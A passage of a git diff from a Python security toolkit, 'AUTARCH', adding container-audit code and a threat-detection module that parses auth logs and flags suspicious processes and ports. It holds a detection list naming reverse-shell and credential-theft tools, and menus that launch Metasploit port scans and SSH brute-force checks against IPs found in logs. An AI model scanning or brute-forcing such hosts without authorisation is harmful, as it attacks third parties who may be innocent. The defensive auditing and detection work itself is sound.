{limits}' if has_limits else 'No resource limits set', + severity='medium') + + # Capabilities + caps = sec_ctx.get('capabilities', {}) + cap_add = caps.get('add', []) + dangerous = [c for c in cap_add if c in DANGEROUS_CAPS] + all_dropped = 'ALL' in caps.get('drop', []) + check(f'{c_name}: Capabilities', + len(dangerous) == 0 and (all_dropped or not cap_add), + f'Dangerous caps: {", ".join(dangerous)}' if dangerous + else ('All capabilities dropped' if all_dropped else 'Default capabilities'), + severity='high' if dangerous else 'info') + + # Privilege escalation + allow_escalation = sec_ctx.get('allowPrivilegeEscalation', True) + check(f'{c_name}: Privilege Escalation', + not allow_escalation, + 'allowPrivilegeEscalation=true' if allow_escalation + else 'Privilege escalation disabled', + severity='medium') + + # Service account + sa = spec.get('serviceAccountName', 'default') + automount = spec.get('automountServiceAccountToken', True) + check('Service Account', + sa != 'default' or not automount, + f'SA: {sa}, automount: {automount}', + severity='low') + + score = int((passed / total) * 100) if total > 0 else 0 + result = { + 'pod': pod_name, + 'namespace': namespace, + 'score': score, + 'passed': passed, + 'total': total, + 'findings': findings, + } + self._results['k8s_audits'][f'pod:{namespace}/{pod_name}'] = result + self._save_results() + return result + + # ── Export ──────────────────────────────────────────────────────────────── + + def export_results(self, fmt: str = 'json') -> dict: + """Export all audit results.""" + self._results['timestamp'] = datetime.utcnow().isoformat() + if fmt == 'json': + path = self._data_dir / f'container_sec_export_{int(time.time())}.json' + with open(path, 'w') as f: + json.dump(self._results, f, indent=2, default=str) + return {'path': str(path), 'format': 'json', 'success': True} + return {'error': f'Unsupported format: {fmt}'} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + + +def get_container_sec() -> ContainerSecurity: + global _instance + if _instance is None: + _instance = ContainerSecurity() + return _instance + + +# ── CLI Entry Point ────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Container Security module.""" + cs = get_container_sec() + + while True: + print(f"\n{'='*60}") + print(f" Container Security") + print(f"{'='*60}") + print() + print(" 1 — Audit Docker Host") + print(" 2 — List Containers") + print(" 3 — Audit Container") + print(" 4 — Scan Image") + print(" 5 — Lint Dockerfile") + print(" 6 — K8s Pods") + print(" 7 — K8s RBAC Audit") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + + elif choice == '1': + print("\n [*] Auditing Docker host...") + findings = cs.audit_docker_host() + if not findings: + print(" [-] No findings.") + for f in findings: + sev = f.get('severity', 'info').upper() + status = f.get('status', 'info').upper() + color = {'CRITICAL': Colors.RED, 'HIGH': Colors.RED, + 'MEDIUM': Colors.YELLOW, 'LOW': Colors.CYAN, + 'INFO': Colors.GREEN}.get(sev, Colors.WHITE) + print(f" {color}[{sev}]{Colors.RESET} {f['check']}: {f['detail']}") + + elif choice == '2': + containers = cs.list_containers(all=True) + if not containers: + print(" [-] No containers found.") + else: + print(f"\n {'ID':<14} {'Name':<25} {'Image':<30} {'Status':<15}") + print(f" {'-'*14} {'-'*25} {'-'*30} {'-'*15}") + for c in containers: + print(f" {c['id']:<14} {c['name']:<25} {c['image']:<30} {c['status']:<15}") + + elif choice == '3': + cid = input(" Container ID or name: ").strip() + if cid: + print(f"\n [*] Auditing container {cid}...") + result = cs.audit_container(cid) + if 'error' in result: + print(f" [!] {result['error']}") + else: + print(f"\n Security Score: {result['score']}% ({result['passed']}/{result['total']})") + for f in result['findings']: + sym = '+' if f['status'] == 'pass' else '!' + color = Colors.GREEN if f['status'] == 'pass' else Colors.YELLOW + print(f" {color}[{sym}]{Colors.RESET} {f['check']}: {f['detail']}") + + elif choice == '4': + img = input(" Image name (e.g., nginx:latest): ").strip() + if img: + print(f"\n [*] Scanning {img} for vulnerabilities...") + result = cs.scan_image(img) + if result.get('error'): + print(f" [!] {result['error']}") + else: + s = result.get('summary', {}) + print(f" Scanner: {result.get('scanner', '?')}") + print(f" Total: {result.get('total', 0)} vulnerabilities") + print(f" Critical: {s.get('CRITICAL', 0)} High: {s.get('HIGH', 0)} " + f"Medium: {s.get('MEDIUM', 0)} Low: {s.get('LOW', 0)}") + for v in result.get('vulnerabilities', [])[:20]: + print(f" {v['severity']:<8} {v['cve']:<18} {v['package']:<20} " + f"{v['installed_version']} -> {v.get('fixed_version', 'n/a')}") + + elif choice == '5': + path = input(" Path to Dockerfile: ").strip() + if path and os.path.isfile(path): + with open(path) as f: + content = f.read() + findings = cs.lint_dockerfile(content) + if not findings: + print(" [+] No issues found.") + else: + print(f"\n Found {len(findings)} issue(s):") + for f in findings: + sev = f.get('severity', 'info').upper() + line = f"line {f['line']}" if f.get('line') else 'general' + print(f" [{sev}] {f['rule']}: {f['title']} ({line})") + print(f" {f['detail']}") + else: + print(" [!] File not found.") + + elif choice == '6': + ns = input(" Namespace (default): ").strip() or 'default' + pods = cs.k8s_get_pods(namespace=ns) + if not pods: + print(" [-] No pods found.") + else: + print(f"\n {'Name':<35} {'Status':<12} {'Node':<20} {'Restarts':<10}") + print(f" {'-'*35} {'-'*12} {'-'*20} {'-'*10}") + for p in pods: + print(f" {p['name']:<35} {p['status']:<12} {p['node']:<20} {p['restart_count']:<10}") + + elif choice == '7': + ns = input(" Namespace (blank for all): ").strip() or None + print("\n [*] Auditing RBAC...") + result = cs.k8s_audit_rbac(namespace=ns) + if not result.get('findings'): + print(" [+] No RBAC issues found.") + else: + print(f" Found {result['total']} issue(s):") + for f in result['findings']: + sev = f.get('severity', 'info').upper() + print(f" [{sev}] {f['type']}: {f.get('binding', '')} — {f['detail']}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/counter.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/counter.py new file mode 100644 index 0000000..57a0a98 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/counter.py @@ -0,0 +1,1027 @@ +""" +AUTARCH Counter Module +Threat detection and incident response + +Monitors system for suspicious activity and potential threats. +""" + +import os +import sys +import subprocess +import re +import socket +import json +import time +from pathlib import Path +from datetime import datetime, timedelta +from collections import Counter +from dataclasses import dataclass +from typing import Dict, List, Optional, Any + +# Module metadata +DESCRIPTION = "Threat detection & incident response" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "counter" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + +# Try to import requests for GeoIP lookup +try: + import requests + REQUESTS_AVAILABLE = True +except ImportError: + requests = None + REQUESTS_AVAILABLE = False + + +@dataclass +class LoginAttempt: + """Information about a login attempt from an IP.""" + ip: str + count: int + last_attempt: Optional[datetime] = None + usernames: List[str] = None + hostname: Optional[str] = None + country: Optional[str] = None + city: Optional[str] = None + isp: Optional[str] = None + geo_data: Optional[Dict] = None + + def __post_init__(self): + if self.usernames is None: + self.usernames = [] + + +# Metasploit recon modules for IP investigation +MSF_RECON_MODULES = [ + { + 'name': 'TCP Port Scan', + 'module': 'auxiliary/scanner/portscan/tcp', + 'description': 'TCP port scanner - scans common ports', + 'options': {'PORTS': '21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080'} + }, + { + 'name': 'SYN Port Scan', + 'module': 'auxiliary/scanner/portscan/syn', + 'description': 'SYN stealth port scanner (requires root)', + 'options': {'PORTS': '21-23,25,53,80,110,139,143,443,445,3306,3389,5900,8080'} + }, + { + 'name': 'SSH Version Scanner', + 'module': 'auxiliary/scanner/ssh/ssh_version', + 'description': 'Detect SSH version and supported algorithms', + 'options': {} + }, + { + 'name': 'SSH Login Check', + 'module': 'auxiliary/scanner/ssh/ssh_login', + 'description': 'Brute force SSH login (requires wordlists)', + 'options': {} + }, + { + 'name': 'SMB Version Scanner', + 'module': 'auxiliary/scanner/smb/smb_version', + 'description': 'Detect SMB version and OS information', + 'options': {} + }, + { + 'name': 'SMB Share Enumeration', + 'module': 'auxiliary/scanner/smb/smb_enumshares', + 'description': 'Enumerate available SMB shares', + 'options': {} + }, + { + 'name': 'HTTP Version Scanner', + 'module': 'auxiliary/scanner/http/http_version', + 'description': 'Detect HTTP server version', + 'options': {} + }, + { + 'name': 'FTP Version Scanner', + 'module': 'auxiliary/scanner/ftp/ftp_version', + 'description': 'Detect FTP server version', + 'options': {} + }, + { + 'name': 'Telnet Version Scanner', + 'module': 'auxiliary/scanner/telnet/telnet_version', + 'description': 'Detect Telnet banner and version', + 'options': {} + }, + { + 'name': 'SNMP Enumeration', + 'module': 'auxiliary/scanner/snmp/snmp_enum', + 'description': 'Enumerate SNMP information', + 'options': {} + }, + { + 'name': 'RDP Scanner', + 'module': 'auxiliary/scanner/rdp/rdp_scanner', + 'description': 'Detect RDP service', + 'options': {} + }, + { + 'name': 'MySQL Version Scanner', + 'module': 'auxiliary/scanner/mysql/mysql_version', + 'description': 'Detect MySQL server version', + 'options': {} + }, + { + 'name': 'VNC None Auth Scanner', + 'module': 'auxiliary/scanner/vnc/vnc_none_auth', + 'description': 'Check for VNC servers with no authentication', + 'options': {} + }, +] + + +class Counter: + """Threat detection and response.""" + + def __init__(self): + self.threats = [] + self.login_attempts: Dict[str, LoginAttempt] = {} + self._init_session() + + def _init_session(self): + """Initialize HTTP session for GeoIP lookups.""" + self.session = None + if REQUESTS_AVAILABLE: + self.session = requests.Session() + adapter = requests.adapters.HTTPAdapter(max_retries=2) + self.session.mount('https://', adapter) + self.session.mount('http://', adapter) + self.session.headers.update({ + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' + }) + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def alert(self, category: str, message: str, severity: str = "medium"): + """Record a threat alert.""" + self.threats.append({"category": category, "message": message, "severity": severity}) + color = Colors.RED if severity == "high" else Colors.YELLOW if severity == "medium" else Colors.CYAN + print(f"{color}[ALERT] {category}: {message}{Colors.RESET}") + + def run_cmd(self, cmd: str) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def get_hostname(self, ip: str) -> Optional[str]: + """Resolve IP to hostname via reverse DNS.""" + try: + hostname, _, _ = socket.gethostbyaddr(ip) + return hostname + except (socket.herror, socket.gaierror, socket.timeout): + return None + + def get_geoip(self, ip: str) -> Optional[Dict]: + """Get geolocation data for an IP address.""" + if not self.session: + return None + + # Skip private/local IPs + if ip.startswith('127.') or ip.startswith('192.168.') or ip.startswith('10.') or ip.startswith('172.'): + return {'country': 'Local', 'city': 'Private Network', 'isp': 'N/A'} + + try: + # Try ipwho.is first + response = self.session.get(f"https://ipwho.is/{ip}", timeout=5) + if response.status_code == 200: + data = response.json() + if data.get('success', True): + return { + 'country': data.get('country', 'Unknown'), + 'country_code': data.get('country_code', ''), + 'region': data.get('region', ''), + 'city': data.get('city', 'Unknown'), + 'latitude': data.get('latitude'), + 'longitude': data.get('longitude'), + 'isp': data.get('connection', {}).get('isp', 'Unknown'), + 'org': data.get('connection', {}).get('org', ''), + 'asn': data.get('connection', {}).get('asn', ''), + } + except Exception: + pass + + try: + # Fallback to ipinfo.io + response = self.session.get(f"https://ipinfo.io/{ip}/json", timeout=5) + if response.status_code == 200: + data = response.json() + loc = data.get('loc', ',').split(',') + lat = float(loc[0]) if len(loc) > 0 and loc[0] else None + lon = float(loc[1]) if len(loc) > 1 and loc[1] else None + return { + 'country': data.get('country', 'Unknown'), + 'country_code': data.get('country'), + 'region': data.get('region', ''), + 'city': data.get('city', 'Unknown'), + 'latitude': lat, + 'longitude': lon, + 'isp': data.get('org', 'Unknown'), + 'org': data.get('org', ''), + } + except Exception: + pass + + return None + + def parse_auth_logs(self) -> Dict[str, LoginAttempt]: + """Parse authentication logs and extract failed login attempts.""" + attempts: Dict[str, LoginAttempt] = {} + raw_log_lines = [] + + # Try different log locations + log_files = [ + '/var/log/auth.log', + '/var/log/secure', + '/var/log/messages', + ] + + log_content = "" + for log_file in log_files: + success, output = self.run_cmd(f"cat {log_file} 2>/dev/null") + if success and output: + log_content = output + break + + if not log_content: + return attempts + + # Parse log entries for failed attempts + # Common patterns: + # "Failed password for root from 192.168.1.100 port 22 ssh2" + # "Failed password for invalid user admin from 192.168.1.100 port 22" + # "Invalid user admin from 192.168.1.100 port 22" + # "Connection closed by authenticating user root 192.168.1.100 port 22 [preauth]" + + patterns = [ + # Failed password for user from IP + r'(\w{3}\s+\d+\s+[\d:]+).*Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)', + # Invalid user from IP + r'(\w{3}\s+\d+\s+[\d:]+).*Invalid user (\S+) from (\d+\.\d+\.\d+\.\d+)', + # Connection closed by authenticating user + r'(\w{3}\s+\d+\s+[\d:]+).*Connection closed by (?:authenticating user )?(\S+) (\d+\.\d+\.\d+\.\d+)', + # pam_unix authentication failure + r'(\w{3}\s+\d+\s+[\d:]+).*pam_unix.*authentication failure.*ruser=(\S*) rhost=(\d+\.\d+\.\d+\.\d+)', + ] + + for line in log_content.split('\n'): + if 'failed' in line.lower() or 'invalid user' in line.lower() or 'authentication failure' in line.lower(): + raw_log_lines.append(line) + + for pattern in patterns: + match = re.search(pattern, line, re.IGNORECASE) + if match: + timestamp_str, username, ip = match.groups() + username = username if username else 'unknown' + + # Parse timestamp (assuming current year) + try: + current_year = datetime.now().year + timestamp = datetime.strptime(f"{current_year} {timestamp_str}", "%Y %b %d %H:%M:%S") + except ValueError: + timestamp = None + + if ip not in attempts: + attempts[ip] = LoginAttempt(ip=ip, count=0) + + attempts[ip].count += 1 + if timestamp: + if attempts[ip].last_attempt is None or timestamp > attempts[ip].last_attempt: + attempts[ip].last_attempt = timestamp + if username not in attempts[ip].usernames: + attempts[ip].usernames.append(username) + + break + + # Store raw logs for later viewing + self._raw_auth_logs = raw_log_lines + + return attempts + + def enrich_login_attempts(self, attempts: Dict[str, LoginAttempt], show_progress: bool = True): + """Enrich login attempts with GeoIP and hostname data.""" + total = len(attempts) + for i, (ip, attempt) in enumerate(attempts.items()): + if show_progress: + print(f"\r{Colors.CYAN}[*] Enriching IP data... {i+1}/{total}{Colors.RESET}", end='', flush=True) + + # Get hostname + attempt.hostname = self.get_hostname(ip) + + # Get GeoIP data + geo_data = self.get_geoip(ip) + if geo_data: + attempt.country = geo_data.get('country') + attempt.city = geo_data.get('city') + attempt.isp = geo_data.get('isp') + attempt.geo_data = geo_data + + if show_progress: + print() # New line after progress + + def check_suspicious_processes(self): + """Look for suspicious processes.""" + print(f"\n{Colors.BOLD}Scanning for Suspicious Processes...{Colors.RESET}\n") + + # Known malicious process names + suspicious_names = [ + "nc", "ncat", "netcat", "socat", # Reverse shells + "msfconsole", "msfvenom", "meterpreter", # Metasploit + "mimikatz", "lazagne", "pwdump", # Credential theft + "xmrig", "minerd", "cgminer", # Cryptominers + "tor", "proxychains", # Anonymizers + ] + + success, output = self.run_cmd("ps aux") + if not success: + self.print_status("Failed to get process list", "error") + return + + found = [] + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 11: + proc_name = parts[10].split('/')[-1] + for sus in suspicious_names: + if sus in proc_name.lower(): + found.append((parts[1], proc_name, parts[0])) # PID, name, user + + if found: + for pid, name, user in found: + self.alert("Suspicious Process", f"PID {pid}: {name} (user: {user})", "high") + else: + self.print_status("No known suspicious processes found", "success") + + # Check for hidden processes (comparing ps and /proc) + success, ps_pids = self.run_cmd("ps -e -o pid=") + if success: + ps_set = set(ps_pids.split()) + proc_pids = set(p.name for p in Path("/proc").iterdir() if p.name.isdigit()) + hidden = proc_pids - ps_set + if hidden: + self.alert("Hidden Process", f"PIDs not in ps output: {', '.join(list(hidden)[:5])}", "high") + + def check_network_connections(self): + """Analyze network connections for anomalies.""" + print(f"\n{Colors.BOLD}Analyzing Network Connections...{Colors.RESET}\n") + + success, output = self.run_cmd("ss -tunap 2>/dev/null || netstat -tunap 2>/dev/null") + if not success: + self.print_status("Failed to get network connections", "error") + return + + suspicious_ports = { + 4444: "Metasploit default", + 5555: "Common backdoor", + 1337: "Common backdoor", + 31337: "Back Orifice", + 6667: "IRC (C2)", + 6666: "Common backdoor", + } + + established_foreign = [] + listeners = [] + + for line in output.split('\n'): + if 'ESTABLISHED' in line: + # Extract foreign address + match = re.search(r'(\d+\.\d+\.\d+\.\d+):(\d+)\s+(\d+\.\d+\.\d+\.\d+):(\d+)', line) + if match: + local_ip, local_port, foreign_ip, foreign_port = match.groups() + if not foreign_ip.startswith('127.'): + established_foreign.append((foreign_ip, foreign_port, line)) + + if 'LISTEN' in line: + match = re.search(r':(\d+)\s', line) + if match: + port = int(match.group(1)) + if port in suspicious_ports: + self.alert("Suspicious Listener", f"Port {port} ({suspicious_ports[port]})", "high") + listeners.append(port) + + # Check for connections to suspicious ports + for ip, port, line in established_foreign: + port_int = int(port) + if port_int in suspicious_ports: + self.alert("Suspicious Connection", f"Connected to {ip}:{port} ({suspicious_ports[port_int]})", "high") + + self.print_status(f"Found {len(established_foreign)} external connections, {len(listeners)} listeners", "info") + + # Show top foreign connections + if established_foreign: + print(f"\n{Colors.CYAN}External Connections:{Colors.RESET}") + seen = set() + for ip, port, _ in established_foreign[:10]: + if ip not in seen: + print(f" {ip}:{port}") + seen.add(ip) + + def check_login_anomalies(self): + """Check for suspicious login activity - quick summary version.""" + print(f"\n{Colors.BOLD}Checking Login Activity...{Colors.RESET}\n") + + # Parse logs + attempts = self.parse_auth_logs() + self.login_attempts = attempts + + if not attempts: + self.print_status("No failed login attempts found or could not read logs", "info") + return + + total_attempts = sum(a.count for a in attempts.values()) + + if total_attempts > 100: + self.alert("Brute Force Detected", f"{total_attempts} failed login attempts from {len(attempts)} IPs", "high") + elif total_attempts > 20: + self.alert("Elevated Failed Logins", f"{total_attempts} failed attempts from {len(attempts)} IPs", "medium") + else: + self.print_status(f"{total_attempts} failed login attempts from {len(attempts)} unique IPs", "info") + + # Show top 5 IPs + sorted_attempts = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:5] + print(f"\n{Colors.CYAN}Top Source IPs:{Colors.RESET}") + for attempt in sorted_attempts: + print(f" {attempt.ip}: {attempt.count} attempts") + + # Successful root logins + success, output = self.run_cmd("last -n 20 root 2>/dev/null") + if success and output and "root" in output: + lines = [l for l in output.split('\n') if l.strip() and 'wtmp' not in l] + if lines: + print(f"\n{Colors.CYAN}Recent root logins:{Colors.RESET}") + for line in lines[:5]: + print(f" {line}") + + def login_anomalies_menu(self): + """Interactive login anomalies menu with detailed IP information.""" + self._raw_auth_logs = [] + + while True: + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Login Anomalies Analysis{Colors.RESET}") + print(f"{Colors.DIM} Investigate failed login attempts{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show cached data or prompt to scan + if not self.login_attempts: + print(f" {Colors.YELLOW}No data loaded. Run a scan first.{Colors.RESET}") + print() + print(f" {Colors.MAGENTA}[1]{Colors.RESET} Quick Scan (no GeoIP)") + print(f" {Colors.MAGENTA}[2]{Colors.RESET} Full Scan (with GeoIP lookup)") + else: + # Show summary + total_attempts = sum(a.count for a in self.login_attempts.values()) + unique_ips = len(self.login_attempts) + + if total_attempts > 100: + status_color = Colors.RED + status_text = "HIGH THREAT" + elif total_attempts > 20: + status_color = Colors.YELLOW + status_text = "MODERATE" + else: + status_color = Colors.GREEN + status_text = "LOW" + + print(f" Status: {status_color}{status_text}{Colors.RESET}") + print(f" Total Failed Attempts: {Colors.CYAN}{total_attempts}{Colors.RESET}") + print(f" Unique IPs: {Colors.CYAN}{unique_ips}{Colors.RESET}") + print() + + # Show IPs as options + print(f" {Colors.BOLD}Source IPs (sorted by attempts):{Colors.RESET}") + print() + + sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True) + + for i, attempt in enumerate(sorted_attempts[:15], 1): + # Build info line + timestamp_str = "" + if attempt.last_attempt: + timestamp_str = attempt.last_attempt.strftime("%Y-%m-%d %H:%M") + + location_str = "" + if attempt.country: + location_str = f"{attempt.country}" + if attempt.city and attempt.city != 'Unknown': + location_str += f"/{attempt.city}" + + host_str = "" + if attempt.hostname: + host_str = f"({attempt.hostname[:30]})" + + # Color based on attempt count + if attempt.count > 50: + count_color = Colors.RED + elif attempt.count > 10: + count_color = Colors.YELLOW + else: + count_color = Colors.WHITE + + print(f" {Colors.MAGENTA}[{i:2}]{Colors.RESET} {attempt.ip:16} " + f"{count_color}{attempt.count:4} attempts{Colors.RESET}", end='') + + if timestamp_str: + print(f" {Colors.DIM}Last: {timestamp_str}{Colors.RESET}", end='') + if location_str: + print(f" {Colors.CYAN}{location_str}{Colors.RESET}", end='') + + print() + + if len(sorted_attempts) > 15: + print(f" {Colors.DIM}... and {len(sorted_attempts) - 15} more IPs{Colors.RESET}") + + print() + print(f" {Colors.MAGENTA}[R]{Colors.RESET} Rescan (Quick)") + print(f" {Colors.MAGENTA}[F]{Colors.RESET} Full Rescan (with GeoIP)") + print(f" {Colors.MAGENTA}[L]{Colors.RESET} View Raw Auth Log") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0': + break + + elif choice in ['1', 'r'] and (not self.login_attempts or choice == 'r'): + # Quick scan + print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}") + self.login_attempts = self.parse_auth_logs() + if self.login_attempts: + self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success") + else: + self.print_status("No failed login attempts found", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice in ['2', 'f'] and (not self.login_attempts or choice == 'f'): + # Full scan with GeoIP + print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}") + self.login_attempts = self.parse_auth_logs() + if self.login_attempts: + self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success") + print(f"\n{Colors.CYAN}[*] Fetching GeoIP and hostname data...{Colors.RESET}") + self.enrich_login_attempts(self.login_attempts) + self.print_status("GeoIP enrichment complete", "success") + else: + self.print_status("No failed login attempts found", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'l' and self.login_attempts: + # View raw log + self.view_raw_auth_log() + + elif choice.isdigit() and self.login_attempts: + idx = int(choice) + sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True) + if 1 <= idx <= len(sorted_attempts): + self.ip_detail_menu(sorted_attempts[idx - 1]) + + def view_raw_auth_log(self): + """Display raw authentication log entries.""" + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Raw Authentication Log{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not hasattr(self, '_raw_auth_logs') or not self._raw_auth_logs: + print(f" {Colors.YELLOW}No log data available. Run a scan first.{Colors.RESET}") + else: + # Show last 100 entries by default + log_lines = self._raw_auth_logs[-100:] + for line in log_lines: + # Highlight IPs + highlighted = re.sub( + r'(\d+\.\d+\.\d+\.\d+)', + f'{Colors.CYAN}\\1{Colors.RESET}', + line + ) + # Highlight "failed" + highlighted = re.sub( + r'(failed|invalid|authentication failure)', + f'{Colors.RED}\\1{Colors.RESET}', + highlighted, + flags=re.IGNORECASE + ) + print(f" {highlighted}") + + print() + print(f" {Colors.DIM}Showing last {len(log_lines)} of {len(self._raw_auth_logs)} entries{Colors.RESET}") + + print() + input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def ip_detail_menu(self, attempt: LoginAttempt): + """Show detailed information and options for a specific IP.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} IP Investigation: {attempt.ip}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Basic info + print(f" {Colors.BOLD}Connection Statistics:{Colors.RESET}") + print(f" Failed Attempts: {Colors.RED}{attempt.count}{Colors.RESET}") + if attempt.last_attempt: + print(f" Last Attempt: {Colors.CYAN}{attempt.last_attempt.strftime('%Y-%m-%d %H:%M:%S')}{Colors.RESET}") + if attempt.usernames: + usernames_str = ', '.join(attempt.usernames[:10]) + if len(attempt.usernames) > 10: + usernames_str += f" (+{len(attempt.usernames) - 10} more)" + print(f" Targeted Users: {Colors.YELLOW}{usernames_str}{Colors.RESET}") + print() + + # Network info + print(f" {Colors.BOLD}Network Information:{Colors.RESET}") + print(f" IP Address: {Colors.CYAN}{attempt.ip}{Colors.RESET}") + + if attempt.hostname: + print(f" Hostname: {Colors.CYAN}{attempt.hostname}{Colors.RESET}") + else: + # Try to resolve now if not cached + hostname = self.get_hostname(attempt.ip) + if hostname: + attempt.hostname = hostname + print(f" Hostname: {Colors.CYAN}{hostname}{Colors.RESET}") + else: + print(f" Hostname: {Colors.DIM}(no reverse DNS){Colors.RESET}") + + print() + + # GeoIP info + print(f" {Colors.BOLD}Geolocation:{Colors.RESET}") + if attempt.geo_data: + geo = attempt.geo_data + if geo.get('country'): + country_str = geo.get('country', 'Unknown') + if geo.get('country_code'): + country_str += f" ({geo['country_code']})" + print(f" Country: {Colors.CYAN}{country_str}{Colors.RESET}") + if geo.get('region'): + print(f" Region: {Colors.CYAN}{geo['region']}{Colors.RESET}") + if geo.get('city') and geo.get('city') != 'Unknown': + print(f" City: {Colors.CYAN}{geo['city']}{Colors.RESET}") + if geo.get('isp'): + print(f" ISP: {Colors.CYAN}{geo['isp']}{Colors.RESET}") + if geo.get('org') and geo.get('org') != geo.get('isp'): + print(f" Organization: {Colors.CYAN}{geo['org']}{Colors.RESET}") + if geo.get('asn'): + print(f" ASN: {Colors.CYAN}{geo['asn']}{Colors.RESET}") + if geo.get('latitude') and geo.get('longitude'): + print(f" Coordinates: {Colors.DIM}{geo['latitude']}, {geo['longitude']}{Colors.RESET}") + print(f" Map: {Colors.DIM}https://www.google.com/maps/@{geo['latitude']},{geo['longitude']},12z{Colors.RESET}") + elif attempt.country: + print(f" Country: {Colors.CYAN}{attempt.country}{Colors.RESET}") + if attempt.city: + print(f" City: {Colors.CYAN}{attempt.city}{Colors.RESET}") + if attempt.isp: + print(f" ISP: {Colors.CYAN}{attempt.isp}{Colors.RESET}") + else: + print(f" {Colors.DIM}(GeoIP data not loaded - run Full Scan){Colors.RESET}") + + print() + print(f" {Colors.BOLD}Actions:{Colors.RESET}") + print() + print(f" {Colors.MAGENTA}[G]{Colors.RESET} Fetch/Refresh GeoIP Data") + print(f" {Colors.MAGENTA}[W]{Colors.RESET} Whois Lookup") + print(f" {Colors.MAGENTA}[P]{Colors.RESET} Ping Target") + print() + print(f" {Colors.BOLD}Metasploit Recon Modules:{Colors.RESET}") + print() + + for i, module in enumerate(MSF_RECON_MODULES, 1): + print(f" {Colors.RED}[{i:2}]{Colors.RESET} {module['name']}") + print(f" {Colors.DIM}{module['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0': + break + + elif choice == 'g': + # Refresh GeoIP + print(f"\n{Colors.CYAN}[*] Fetching GeoIP data for {attempt.ip}...{Colors.RESET}") + geo_data = self.get_geoip(attempt.ip) + if geo_data: + attempt.geo_data = geo_data + attempt.country = geo_data.get('country') + attempt.city = geo_data.get('city') + attempt.isp = geo_data.get('isp') + self.print_status("GeoIP data updated", "success") + else: + self.print_status("Could not fetch GeoIP data", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'w': + # Whois lookup + print(f"\n{Colors.CYAN}[*] Running whois lookup for {attempt.ip}...{Colors.RESET}\n") + success, output = self.run_cmd(f"whois {attempt.ip} 2>/dev/null | head -60") + if success and output: + print(output) + else: + self.print_status("Whois lookup failed or not available", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'p': + # Ping + print(f"\n{Colors.CYAN}[*] Pinging {attempt.ip}...{Colors.RESET}\n") + success, output = self.run_cmd(f"ping -c 4 {attempt.ip} 2>&1") + print(output) + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice.isdigit(): + idx = int(choice) + if 1 <= idx <= len(MSF_RECON_MODULES): + self.run_msf_recon(attempt.ip, MSF_RECON_MODULES[idx - 1]) + + + def run_msf_recon(self, target_ip: str, module_info: Dict): + """Run a Metasploit recon module against the target IP.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Metasploit Recon: {module_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} Target: {target_ip}{Colors.RESET}") + print(f"{Colors.DIM} Module: {module_info['module']}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Use the centralized MSF interface + try: + from core.msf_interface import get_msf_interface + except ImportError: + self.print_status("Metasploit interface not available", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + msf = get_msf_interface() + + # Ensure connected + connected, msg = msf.ensure_connected() + if not connected: + print(f"{Colors.YELLOW}[!] {msg}{Colors.RESET}") + print() + print(f" To connect, ensure msfrpcd is running:") + print(f" {Colors.DIM}msfrpcd -P yourpassword -S{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Build options + options = {'RHOSTS': target_ip} + options.update(module_info.get('options', {})) + + # Warn about SYN scan known issues + if 'syn' in module_info['module'].lower(): + print(f"{Colors.YELLOW}[!] Note: SYN scan may produce errors 